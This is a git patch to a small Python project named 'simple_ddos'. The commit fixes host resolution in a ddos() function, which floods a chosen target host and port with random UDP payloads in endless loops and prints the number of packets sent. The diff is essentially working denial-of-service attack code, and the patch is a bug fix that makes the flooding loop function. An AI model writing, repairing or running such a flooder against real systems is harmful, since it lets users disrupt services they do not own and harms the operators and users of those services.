From 68cc8479f68c6a6286ea2c7b4ee69c061ae5bc07 Mon Sep 17 00:00:00 2001 From: Tiffany Date: Thu, 9 Nov 2023 17:40:41 -0500 Subject: [PATCH] Add gethostbyname method to fix type casting error --- simple_ddos/__init__.py | 15 +-------------- simple_ddos/py_ddos.py | 10 +++++----- 2 files changed, 6 insertions(+), 19 deletions(-) diff --git a/simple_ddos/__init__.py b/simple_ddos/__init__.py index 5f4ff28..a8050ea 100644 --- a/simple_ddos/__init__.py +++ b/simple_ddos/__init__.py @@ -2,17 +2,4 @@ # simple_ddos/__init__.py __app_name__ = 'simple_ddos' -__version__ = "0.1.0" - -# import socket -# -# ( socket.gaierror, -# KeyboardInterrupt, -# NameError -# ) = range(3) -# -# ERRORS = { -# KeyboardInterrupt: 'Keyboard Interrupt. Terminating session...', -# socket.gaierror: 'Unknown address.' + '\n' + 'Please input the correct ip address.', -# NameError: 'Unknown address.' + '\n' + 'Please input the correct ip address.' -# } \ No newline at end of file +__version__ = "0.1.0" \ No newline at end of file diff --git a/simple_ddos/py_ddos.py b/simple_ddos/py_ddos.py index 4d26f72..39a3e9c 100644 --- a/simple_ddos/py_ddos.py +++ b/simple_ddos/py_ddos.py @@ -37,7 +37,6 @@ bytes1 = random.randbytes(2000) bytes2 = random.randbytes(2900) system = platform.uname().system - # this is better system = getattr(platform.uname(), "system") # instead of hardcoding a specific index # because if something in the l @@ -55,17 +54,18 @@ def check_os(): # Why use a try -def ddos(target: str, port: str, ip: bool = False): +def ddos(target, port, ip: bool = False): sent = 0 - net = socket.getaddrinfo(target, port) try: while True: - sock.sendto(bytes1, (target, port)) + net = socket.gethostbyname(target) + sock.sendto(bytes1, (net, port)) sent = sent + 1 print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) while True: - sock.sendto(bytes2, (target, port)) + net2 = socket.gethostbyname(target) + sock.sendto(bytes2, (net2, port)) sent = sent + 1 print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))